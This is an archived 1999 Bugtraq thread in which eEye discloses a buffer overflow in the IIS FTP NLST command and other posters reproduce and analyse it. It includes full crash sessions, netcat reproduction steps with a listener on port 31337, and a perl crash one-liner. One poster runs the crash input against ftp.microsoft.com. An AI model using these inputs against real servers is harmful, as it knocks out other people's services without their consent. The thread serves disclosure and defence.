Date: Sun, 24 Jan 1999 07:56:09 -0800
From: Marc <Marc@EEYE.COM>
To: BUGTRAQ@netspace.org
Subject: Advisory: IIS FTP Exploit/DoS Attack

________________________________________________________________________

eEye Digital Security Team <e>
www.eEye.com
info@eEye.com
Sunday, January 24, 1999
________________________________________________________________________

Advisory:
IIS Remote FTP Exploit/DoS Attack

Systems Tested:
Windows NT 4.0 (SP4) IIS 3.0 / 4.0
Windows 95/98 PWS 1.0

Release Date:
Sunday, January 24, 1999

Advisory Code:
IISE01
________________________________________________________________________

Description:
________________________________________________________________________

While feeding in logic into Retina's artificial intelligence engine,
which helps construct query strings to pass to internet servers,
checking for overflow bugs and miss parsing of command strings. Our test
server stopped responding. Below is our findings.

Microsoft IIS (Internet Information Server) FTP service contains a
buffer overflow in the NLST command. This could be used to DoS a remote
machine and in some cases execute code remotely.

Lets look at the following example attack. [Comments are in brackets.]

The server must either have anonymous access rights or an attacker must
have an account.

C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.

ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

200 PORT command successful.
150 Opening ASCII mode data connection for file list.
[The server has now processed our long NLST request and has crashed]
-> ftp: get :Connection reset by peer
[Our ftp client looses connection... that is a given]

The above example uses 316 characters to overflow. This is the smallest
possible buffer to pass that will overflow IIS. Lets take a look at the
server side happenings.

On the server side we have an "Application Error" message for
inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at
'0x41414156'. The memory could not be 'read'."

If we take a look at our registers we will see the following:

EAX = 0000005C EBX = 00000001
ECX = 00D3F978 EDX = 002582DD
ESI = 00D3F978 EDI = 00000000
EIP = 710F8AA2 ESP = 00D3F644
EBP = 00D3F9F0 EFL = 00000206

There is no 41 hex (Our overflow character) in any of our registers so
we chalk this up as a DoS attack for now.

Lets move on and take a look at the largest string we can pass to
overflow IIS.

C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
[The server must either have anonymous access rights or an attacker must
have an account]

ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA

200 PORT command successful.
150 Opening ASCII mode data connection for file list.
Connection closed by remote host.

In this case we passed 505 characters to overflow IIS. This is the
largest possible (tested) buffer to pass that will overflow IIS. Lets
take a look once again at the server side.

On the server we have the same "Application Error" message for
inetinfo.exe except this time "The instruction at '0x722c9262'
referenced memory at "0x41414141'." This is looking mighty interesting.
Lets look at our registers once again:

EAX = 00000000 EBX = 41414141
ECX = 41414141 EDX = 722C1CAC
ESI = 41414141 EDI = 41414141
EIP = 722C9262 ESP = 00D3F524
EBP = 00D3F63C EFL = 00000246

There sure are a lot of 41 hex codes in our registers now. >:-]

So to wrap it all up what we have here is a DoS attack against any IIS
server with ftp access. Keep in mind we have to be able to login.
However, Anonymous access is granted on most servers. Once we have
overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
SMTP etc..) What we have seems to be a very interesting buffer overflow.

________________________________________________________________________

Special Thanks
________________________________________________________________________

The eEye Digital Security Team would like to extend a special thanks to
Mudge and Dildog.

________________________________________________________________________

Copyright (c) 1999 eEye Digital Security Team
________________________________________________________________________

Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
alert@eEye.com for permission.

________________________________________________________________________

Disclaimer:
________________________________________________________________________

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.

Please send suggestions, updates, and comments to: alert@eEye.com

eEye Digital Security Team
http://www.eEye.com
info@eEye.com
________________________________________________________________________

Date: Mon, 25 Jan 1999 03:06:42 +0200
From: Cristian Ivan <civan@USA.NET>
To: BUGTRAQ@netspace.org
Subject: Re: IIS FTP Exploit/DoS Attack

Look what I've got after testing on ... ftp.microsoft.com :)

ftp> o ftp.microsoft.com
Connected to ftp.microsoft.com.
220 ftp Microsoft FTP Service (Version 3.0).
User (ftp.microsoft.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230-This is FTP.MICROSOFT.COM
 230-Please see the dirmap.txt file for
 230-more information. An alternate
 230-location for Windows NT Service
 230-Packs is located at:
 230-ftp://198.105.232.37/fixes/
230 Anonymous user logged in.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
bussys
deskapps
developr
dirmap.htm
dirmap.txt
DISCLAIM.TXT
disclaimer.txt
HOMEMM.old
KBHelp
ls-lR.txt
ls-lR.Z
LS-LR.ZIP
MSCorp
peropsys
PRODUCT.TBL
Products
Services
Softlib
solutions
226 Transfer complete.
ftp: 204 bytes received in 0.05Seconds 4.08Kbytes/sec.
ftp> quote nlst AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
150 Opening ASCII mode data connection for file list.
ftp> ls
425 Can't open data connection.
ftp> ls
200 PORT command successful.
200 PORT command successful.
ftp> clos
150 Opening ASCII mode data connection for file list.
ftp> ls
Not connected.
ftp>

If instead of the "quote nlst AAA..." command with "ls AA.." .. voila :

230 Anonymous user logged in.
ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
550 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA: The data area passed to a system call is too small.
ftp>
And everything is normal from here on...

I've used the ftp command supplied with Windows98, who's not allowing me
to type those 316 characters, "the smallest possible buffer to pass that
will overflow IIS".:)


                                        May the mail get in touch with you
                                                   cRIS

++++++++++++++++++++++++++++++++
+++++++++++888+88e+++888++dP"8++
++e88'888++888+888D++888++C8b+Y+  eMAIL: civan@usa.net
+d888++'8++888+88"+++888+++Y8b++  IRC: cRIS (UNDERNET)
+Y888+++,++888+b,++++888+b+Y8D++  WEB: http://soon.to.come
++"88,e8'++888+88b,++888++8edP++
++++++++++++++++++++++++++++++++

"Learning to love yourself is the greatest love of all."

  * Whitney Houston

________________________________________________________________________

Date: Mon, 25 Jan 1999 00:51:59 -0500
From: Seth McGann <smm@WPI.EDU>
To: BUGTRAQ@netspace.org
Subject: Re: Advisory: IIS FTP Exploit/DoS Attack

<Snip>
>On the server side we have an "Application Error" message for
>inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at
>'0x41414156'. The memory could not be 'read'."
>
>If we take a look at our registers we will see the following:
>
>EAX = 0000005C EBX = 00000001
>ECX = 00D3F978 EDX = 002582DD
>ESI = 00D3F978 EDI = 00000000
>EIP = 710F8AA2 ESP = 00D3F644
>EBP = 00D3F9F0 EFL = 00000206
>
>There is no 41 hex (Our overflow character) in any of our registers so
>we chalk this up as a DoS attack for now.
<Snip>
>On the server we have the same "Application Error" message for
>inetinfo.exe except this time "The instruction at '0x722c9262'
>referenced memory at "0x41414141'." This is looking mighty interesting.
>Lets look at our registers once again:
>
>EAX = 00000000 EBX = 41414141
>ECX = 41414141 EDX = 722C1CAC
>ESI = 41414141 EDI = 41414141
>EIP = 722C9262 ESP = 00D3F524
>EBP = 00D3F63C EFL = 00000246
>
>There sure are a lot of 41 hex codes in our registers now. >:-]
>
>So to wrap it all up what we have here is a DoS attack against any IIS
>server with ftp access. Keep in mind we have to be able to login.
>However, Anonymous access is granted on most servers. Once we have
>overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
>SMTP etc..) What we have seems to be a very interesting buffer overflow.

Well, unless I missed something neither of these cases indicates an easily
exploitable buffer overflow.  In both cases  EIP and EBP are left
unmolested.  While you may be able to do something by manipulating the
other registers I highly doubt this case is exploitable.  If for some
reason the order of variables on the stack is changed (perhaps with a
different compiler or optimization) you may very well get the extra reach
you need.  As it stands you dont have it here.  For a good example of this
situation try the following experiment using 'pico' the lovable text editor.
On a linux box try: pico `perl -e 'print "a"x4000'` any version will do.
You will be greeted with a segfault, on close inspection you will see the
same situation here, corruption, but not enough corruption.  Now, try out
the same experiment on the same version of pico on an OpenBSD box.  And you
will be greeted with the rush of seeing execution jump to 0x41414141.
Curious, eh? The more secure of the two operating systems is easily
exploitable, yet the other is not.  I did not look too closely at this, but
its evident that the same code can be exploitable when built under
different conditions.  I suspect the same will be true of IIS, so you may
get control of the processor with a specific revison but not another.

Seth M. McGann / smm@wpi.edu        "Security is making it
http://www.wpi.edu/~smm              to the bathroom in time."
KeyID: 2048/1024/E2501C80
Fingerprint 3344 DFA2 8E4A 977B 63A7  19E3 6AF7 4AE7 E250 1C80

________________________________________________________________________

Date: Sun, 24 Jan 1999 19:42:16 -0800
From: Marc <Marc@EEYE.COM>
To: BUGTRAQ@netspace.org
Subject: IIS Advisory Update


I am still receiving eMails such as:

>Not to burst anyones bubble, or Im doing it wrong, but in testing my ftp
>server at my office which is an NT4.0 sp3, iis 4.0 box. I cant even put in
>that many letters to make it crash..
Please understand that the above is a client side restriction..

The only valid eMail I have gotten, and has pretty much been proven so far,
was from Mnemonix were he couldnt reproduce the overflow on NT 4 Server IIS4
(installed from NT 4 Option pack) with service Pack 3 - no hotfixes. He used
telnet to establish the session to the FTP server and then issued the PORT
command and had netcat listen on the port. He then tried the overflow and it
did not work. This very well may be true because we did not test sp3. There
seems to be some mixed findings... some I am not sure if the people eMailing
me are doing it wrong and some could be configuration differences. Which
ever the case its up to Microsoft to fix the problem. We do know positivily
the following:

NT + Option Pack Four (IIS4) + sp4 is exploitable
NT + IIS3 + sp4 is exploitable
PWS1.0 is exploitable.

I am going to go pass out now.

Signed,
Marc
eEye Digital Security Team
www.eEye.com

P.S.
Some of the Unix ftp clients also malform the request so even though to the
eye it looks like its sending the correct "ls (aaa...)" it doesnt send it
correctly. Some goes for NT4.0's ftp.exe and a few others.

________________________________________________________________________

Date: Mon, 25 Jan 1999 17:39:49 -0500
From: Jon Larimer <jlarimer@ISS.NET>
To: BUGTRAQ@netspace.org
Subject: Re: [NTSEC] Advisory: IIS FTP Exploit/DoS Attack

I was able to reproduce on an NT4/SP4 machine with IIS4 (from the NT4
option pack) using the following procedure:

1.) Connect to port 21 of the target machine using netcat
2.) send: USER anonymous
3.) send: PASS root@
4.) send: PORT w,x,y,z,122,105
    where w,x,y,z is the IP address of the machine performing the
    attack. the 122,105 part means to connect to port 31337 on
    the attacking machine.
5.) In a different window or on another terminal use netcat to listen on
    the attacker's machine, port 31337. (nc -l -p 31337)
6.) send: NLST AAAAAAAA... (316 A's)
7.) Inetinfo.exe on the target machine should crash.

You have to send a valid PORT command, and be listening on the port, for
the service to crash. If you don't send a valid PORT command and listen
for the connection, the FTP service will just disconnect you.

-jon

=====================================================================
Jon Larimer                         |     Direct Dial: (678) 443-6159
Systems Engineer / ISS XForce Team  |  ISS Front Desk: (678) 443-6000
Internet Security Systems, Inc.     |         ISS Fax: (678) 443-6477
http://www.iss.net/    *Adaptive Network Security for the Enterprise*
=====================================================================

________________________________________________________________________

Date: Mon, 25 Jan 1999 17:05:31 -0700
From: Matt Conover <mattc@enigma.repsec.com>
To: BUGTRAQ@netspace.org
Subject: Re: Advisory: IIS FTP Exploit/DoS Attack

> >On the server we have the same "Application Error" message for
> >inetinfo.exe except this time "The instruction at '0x722c9262'
> >referenced memory at "0x41414141'." This is looking mighty interesting.

That's because it overwrote a pointer (a bss overflow).

> >EAX = 00000000 EBX = 41414141
> >ECX = 41414141 EDX = 722C1CAC
> >ESI = 41414141 EDI = 41414141
> >EIP = 722C9262 ESP = 00D3F524
> >EBP = 00D3F63C EFL = 00000246
> >
> >There sure are a lot of 41 hex codes in our registers now. >:-]
> >

This is because it's overwriting data in the bss (where static poitners
are stored), which is then being used as arguments in something like
strcpy() or memcpy().  That fails because the pointer points to an invalid
address.  The reason I assume it's a static pointer is because it's not
overwriting EIP.  If it were on the stack overwriting the local pointer,
it'd also be able to overwrite EIP.  That's because local variables come
below the return addresses on the stack and also have the capability to
overflow the return address (unless the program restricts it).

> >So to wrap it all up what we have here is a DoS attack against any IIS
> >server with ftp access. Keep in mind we have to be able to login.
> >However, Anonymous access is granted on most servers. Once we have
> >overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
> >SMTP etc..) What we have seems to be a very interesting buffer overflow.
>
> Well, unless I missed something neither of these cases indicates an easily
> exploitable buffer overflow.

Well, I think you both did.  First, just because something doesn't
overwrite EIP, doesn't mean it can't be exploited!  Second, it proably
_is_ an easily exploitable buffer overflow.  You probably meant to say
it's not an easily exploitable "stack-based overflow."  That's correct,
because it is not a stack-based overflow.  See below.

>  In both cases  EIP and EBP are left unmolested.

EIP and EBP are left unmolested because it's not a stack overflow; it's a
bss overflow (specifically, it's overflowing a static buffer in the bss).
If it were a stack overflow, the arrangement of the variables wouldn't
have mattered (AFAIK). See my comments above.  I explained how I can tell
(well, why I assume) it's a static buffer overflow in the bss.

Also, this can most likely be exploited fairly easy (as opposed to Seth's
comments).  I cover several exploitation methods in an article I'm going
to post following this (look for "w00w00 on Heap Overflows").  Given that
you were able to overwrite the pointer with an arbitrary value, you can
also guess offsets into another buffer, that allows indirect exploitation
(filename pointers are a great example of this).  For example, with
filename pointers, you could change the pointer from a valid string to
your argv[1], which could contain "/etc/shadow".

> If for some reason the order of variables on the stack is changed
> (perhaps with a different compiler or optimization) you may very well
> get the extra reach you need.  As it stands you dont have it here.

I'll bet this has nothing to do with stack overflows.

> I suspect the same will be true of IIS, so you may get control of the
> processor with a specific revison but not another.

I doubt this is true.  I'm not sure why most people assume it's always a
stack overflow.  In this situation, I think it's much more likely this is
a heap/bss overflow.

Anyway, after I send this off, I will send out an article w00w00 Security
Development (WSD) and I have been working on for the last few weeks.
Although it has a few more things that should be cleared up, and a few
Look for the article, "w00w00 on Heap Overflows", today or tomorrow (it
will be posted here and to comp.security.*).
more case studies to add, this was an appropriate time to send it out.  I
will post a final draft/revision after I finish adding everything.

Look for the article, "w00w00 on Heap Overflows", today or tomorrow (it
will be posted here and to comp.security.*).

I apologize for any errors in this post.

***************************************************************************
Matt Conover <mattc@repsec.com>                 RSI R&D Team
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
RepSec, Inc. (RSI)                              [http://www.repsec.com]
w00w00 Security Development (WSD)               [http://www.w00w00.org]

'finger mattc@repsec.com' for pgp key and information
***************************************************************************